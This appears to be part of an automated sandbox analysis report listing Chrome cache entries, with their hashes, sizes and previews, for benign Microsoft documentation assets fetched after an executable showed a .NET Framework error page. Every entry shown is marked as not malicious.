Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
